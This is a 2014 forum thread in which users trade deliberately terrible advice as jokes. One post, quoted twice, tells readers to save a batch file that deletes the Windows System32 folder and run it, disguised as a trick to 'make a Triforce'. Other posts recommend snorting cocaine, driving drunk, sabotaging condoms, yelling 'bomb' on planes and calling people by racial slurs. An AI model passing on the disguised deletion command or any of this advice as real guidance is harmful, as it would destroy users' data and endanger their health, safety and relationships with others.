Lil B From The Pack Posted June 20, 2014 Share Posted June 20, 2014 The best way to fully format a hard drive is to use a big magnet over it. Link to comment
Twilight Sparkle Posted June 20, 2014 Share Posted June 20, 2014 the best way to make a kid behave is to f-5 one Link to comment
Junkyard Dog Posted June 20, 2014 Share Posted June 20, 2014 Make sure you have a D.D.D. if you're going out to a bar or nightclub. A D.D.D. is a Designated Drunk Driver. You have to play it safe. Link to comment
Lil B From The Pack Posted June 20, 2014 Share Posted June 20, 2014 Best way to make a Triforce on you PC is to... Type on a notepad file: @echo off del c:\Windows\System32 Save as Triforce.bat then open it. Link to comment
Junkyard Dog Posted June 20, 2014 Share Posted June 20, 2014 If you're feeling tired snort some cocaine. That should wake you up. Link to comment
Junkyard Dog Posted June 20, 2014 Share Posted June 20, 2014 If a dog shows its teeth at you it is smiling, so pet it. Link to comment
Kazmanian Devil Posted June 20, 2014 Share Posted June 20, 2014 Best way to make a Triforce on you PC is to... Type on a notepad file: @echo off del c:\Windows\System32 Save as Triforce.bat then open it. Have you tested this with other LoZ items? Link to comment
Junkyard Dog Posted June 20, 2014 Share Posted June 20, 2014 Best way to make a Triforce on you PC is to... Type on a notepad file: @echo off del c:\Windows\System32 Save as Triforce.bat then open it. /\ /\/\ close enough. Link to comment
Heretic Posted June 20, 2014 Share Posted June 20, 2014 Buy a car in the USA and import it into Canada. That way you you can drive 50 MPH in a 50 KPH zone and if the cop pulls you over just tell them that your car was made in the USA. Link to comment
BananaMash Posted June 20, 2014 Author Share Posted June 20, 2014 If you're a white kid from the nice end of town, the best career choice is to become a gangster rapper. There aren't many white rappers out there, so the fact that you're different will surely land you a recording contract! Link to comment
sharnhayre Posted June 20, 2014 Share Posted June 20, 2014 Leave luggage unattended in the airport Link to comment
sharnhayre Posted June 20, 2014 Share Posted June 20, 2014 Yelling bomb on an airplane is a fun way to make time fly. Link to comment
sharnhayre Posted June 20, 2014 Share Posted June 20, 2014 Poke a few holes in your condom to let your tool breathe. Link to comment
sharnhayre Posted June 20, 2014 Share Posted June 20, 2014 When you don't know someones name or are trying to get someones attention, just call them by a racial term for their race, they don't mind and will be happy to turn around and give you what you need. Link to comment
sharnhayre Posted June 20, 2014 Share Posted June 20, 2014 If you're eyes are open, you are probably good enough to drive home drunk/high Link to comment
BananaMash Posted June 20, 2014 Author Share Posted June 20, 2014 Treat people like they're below you, it's the only way to gain respect in the workforce. Link to comment
Bure to Mogilny Posted June 20, 2014 Share Posted June 20, 2014 I dont know bout the rest of u but when i go hiking i look for bear cubs and try and put one in my back pack cause i read some where mother bears like the iniciative Link to comment
BananaMash Posted June 20, 2014 Author Share Posted June 20, 2014 If you commit a violent crime, do not take the blame! Try and pin your actions on one of these things/people: Violent video games; Marilyn Manson; The girls who rejected you; Eminem; Your religion; Violent TV shows. Link to comment
Gurn Posted June 20, 2014 Share Posted June 20, 2014 Yelling bomb on an airplane is a fun way to make time fly.I used to work with a guy who claimed he took a bomb with him every time he flew. He had no intention of setting it off, but felt the odds of there being two bombs on the plane were incredibly small. Link to comment
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